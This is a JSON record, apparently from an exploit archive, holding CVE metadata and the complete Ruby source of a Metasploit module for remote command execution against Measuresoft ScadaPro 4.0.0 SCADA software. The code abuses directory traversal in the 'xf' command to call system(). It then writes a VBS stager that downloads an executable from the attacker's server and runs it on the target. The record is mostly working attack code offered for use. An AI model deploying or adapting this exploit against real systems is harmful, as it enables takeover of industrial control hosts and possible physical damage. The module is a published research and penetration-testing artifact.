{"exploit":{"id":"EDB-17848","name":"Measuresoft ScadaPro 4.0.0 - Remote Command Execution (Metasploit)","description":"Measuresoft ScadaPro 4.0.0 - Remote Command Execution (Metasploit)","cves":["CVE-2011-3496","CVE-2011-3490"],"author":"Metasploit","published":"2011-09-16","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17848","path":"exploits/windows/remote/17848.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17848.rb","vulnerabilities":[{"id":"CVE-2011-3496","state":"PUBLISHED","title":null,"titleSource":null,"description":"service.exe in Measuresoft ScadaPro 4.0.0 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) BF, (2) OF, or (3) EF command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-3496","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-3496"},"updatedAt":"2024-08-06T23:37:47.830Z","retrievedAt":"2026-11-26T21:06:14.590Z","stale":false,"error":null},{"id":"CVE-2011-3490","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in service.exe in Measuresoft ScadaPro 4.0.0 and earlier allow remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long command to port 11234, as demonstrated with the TF command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-3490","cvss":null,"updatedAt":"2024-08-06T23:37:47.632Z","retrievedAt":"2026-11-26T21:23:03.936Z","stale":false,"error":"Some CVE details could not be refreshed"}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17848.png?v=2","url":"https://exploitbin.com/exploits/EDB-17848","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17848/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17848/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: scadapro_cmdexe.rb 13737 2011-09-16 08:23:59Z sinn3r $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = ExcellentRanking\n\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\tinclude Msf::Exploit::Remote::Tcp\n\tinclude Msf::Exploit::EXE\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Measuresoft ScadaPro <= 4.0.0 Remote Command Execution',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module allows remote attackers to execute arbitray commands on\n\t\t\t\tthe affected system by abusing via Directory Traversal attack when using the 'xf'\n\t\t\t\tcommand (execute function). An attacker can execute system() from msvcrt.dll to\n\t\t\t\tupload a backdoor and gain remote code execution.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Luigi Auriemma',                           # Initial discovery/poc\n\t\t\t\t\t'mr_me <steventhomasseeley[at]gmail.com>',  # msf\n\t\t\t\t\t'TecR0c <tecr0c[at]tecninja.net>',          # msf\n\t\t\t\t],\n\t\t\t'Version'        => '$Revision: 13737 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t#[ 'CVE', '?'],\n\t\t\t\t\t#[ 'OSVDB', '?'],\n\t\t\t\t\t[ 'BID', '49613'],\n\t\t\t\t\t[ 'URL', 'http://aluigi.altervista.org/adv/scadapro_1-adv.txt'],\n\t\t\t\t\t[ 'URL', 'http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],\n\t\t\t\t\t# seemed pretty accurate to us ;)\n\t\t\t\t\t[ 'URL', 'http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'InitialAutoRunScript' => 'migrate -f',\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# truly universal\n\t\t\t\t\t[ 'Automatic', { } ],\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'Sep 16 2011'))\n\n\t\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(11234),\n\t\t\t\tOptString.new('URIPATH', [ true, \"The URI to use.\", \"/\" ]),\n\t\t\t], self.class)\n\tend\n\n\t# couldn't generate a vbs or exe payload and then use the wF command\n\t# as there is a limit to the amount of data to write to disk.\n\t# so we just write out a vbs script like the old days.\n\n\tdef build_vbs(url, stager_name)\n\t\tname_xmlhttp = rand_text_alpha(2)\n\t\tname_adodb   = rand_text_alpha(2)\n\n\t\ttmp = \"#{@temp_folder}/#{stager_name}\"\n\n\t\tvbs  = \"echo Set #{name_xmlhttp} = CreateObject(\\\"Microsoft.XMLHTTP\\\") \"\n\t\tvbs << \": #{name_xmlhttp}.open \\\"GET\\\",\\\"http://#{url}\\\",False : #{name_xmlhttp}.send\"\n\t\tvbs << \": Set #{name_adodb} = CreateObject(\\\"ADODB.Stream\\\") \"\n\t\tvbs << \": #{name_adodb}.Open : #{name_adodb}.Type=1 \"\n\t\tvbs << \": #{name_adodb}.Write #{name_xmlhttp}.responseBody \"\n\t\tvbs << \": #{name_adodb}.SaveToFile \\\"#{@temp_folder}/#{@payload_name}.exe\\\",2 \"\n\t\tvbs << \": CreateObject(\\\"WScript.Shell\\\").Run \\\"#{@temp_folder}/#{@payload_name}.exe\\\",0 >> #{tmp}\"\n\n\t\treturn vbs\n\tend\n\n\tdef on_request_uri(cli, request)\n\t\tif request.uri =~ /\\.exe/\n\t\t\tprint_status(\"Sending 2nd stage payload to #{cli.peerhost}:#{cli.peerport}...\")\n\t\t\treturn if ((p=regenerate_payload(cli)) == nil)\n\t\t\tdata = generate_payload_exe( {:code=>p.encoded} )\n\t\t\tsend_response(cli, data, {'Content-Type' => 'application/octet-stream'} )\n\t\t\treturn\n\t\tend\n\tend\n\n\tdef exploit\n\t\t# In order to save binary data to the file system the payload is written to a .vbs\n\t\t# file and execute it from there.\n\t\t@payload_name = rand_text_alpha(4)\n\t\t@temp_folder  = \"C:/Windows/Temp\"\n\n\t\tif datastore['SRVHOST'] == '0.0.0.0'\n\t\t\tlhost = Rex::Socket.source_address('50.50.50.50')\n\t\telse\n\t\t\tlhost = datastore['SRVHOST']\n\t\tend\n\n\t\tpayload_src  = lhost\n\t\tpayload_src << \":\" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << \".exe\"\n\n\t\tstager_name = rand_text_alpha(6) + \".vbs\"\n\t\tstager      = build_vbs(payload_src, stager_name)\n\n\t\tpath = \"..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\"\n\n\t\tcreatevbs = \"xf%#{path}\\\\msvcrt.dll,system,cmd /c #{stager}\\r\\n\"\n\t\tdownload_execute = \"xf%#{path}\\\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\\r\\n\"\n\n\t\tprint_status(\"Sending 1st stage payload...\")\n\n\t\tconnect\n\t\tsock.get_once()\n\t\tsock.put(createvbs)\n\t\tsock.get_once()\n\t\tsock.put(download_execute)\n\t\thandler()\n\t\tdisconnect\n\n\t\tsuper\n\tend\n\nend","sha256":"0880949ea425406c9ca6a6801317264da7040dd0d5d6e636adf50a15f04173e1","bytes":4303,"fetchedAt":"2026-11-26T21:06:11.359Z","encoding":"utf-8 (display only; download retains original bytes)"}